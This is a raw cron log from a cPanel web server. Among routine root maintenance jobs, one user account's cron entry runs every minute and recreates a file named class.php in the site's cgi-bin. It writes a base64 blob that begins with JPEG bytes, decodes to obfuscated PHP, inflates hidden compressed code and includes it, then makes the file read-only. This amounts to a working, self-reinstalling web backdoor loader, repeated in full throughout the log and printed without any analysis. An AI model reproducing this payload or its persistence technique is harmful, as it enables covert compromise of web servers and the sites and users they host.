Sep  1 23:12:01 server CROND[31984]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 23:12:01 server CROND[31985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:12:01 server CROND[31986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:13:01 server CROND[32454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:13:01 server CROND[32455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:13:01 server CROND[32456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:14:01 server CROND[384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:14:01 server CROND[385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:14:01 server CROND[386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:15:01 server CROND[795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:15:01 server CROND[796]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:15:01 server CROND[800]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:15:01 server CROND[809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:15:01 server CROND[810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:15:01 server CROND[811]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 23:15:01 server CROND[812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:15:01 server CROND[807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:16:01 server CROND[1781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:16:01 server CROND[1782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:16:01 server CROND[1783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:17:01 server CROND[2188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:17:01 server CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:17:01 server CROND[2190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:18:01 server CROND[2705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:18:01 server CROND[2706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:18:01 server CROND[2707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:19:01 server CROND[3143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:19:01 server CROND[3144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:19:01 server CROND[3145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:20:01 server CROND[3529]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 23:20:01 server CROND[3531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:20:01 server CROND[3533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:20:01 server CROND[3539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:20:01 server CROND[3540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:20:01 server CROND[3537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:20:01 server CROND[3538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:20:01 server CROND[3536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:20:01 server CROND[3535]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:21:01 server CROND[4359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:21:01 server CROND[4360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:21:01 server CROND[4361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:22:01 server CROND[4727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:22:01 server CROND[4728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:22:01 server CROND[4730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:23:01 server CROND[5216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:23:01 server CROND[5217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:23:01 server CROND[5218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:24:01 server CROND[5586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:24:01 server CROND[5587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
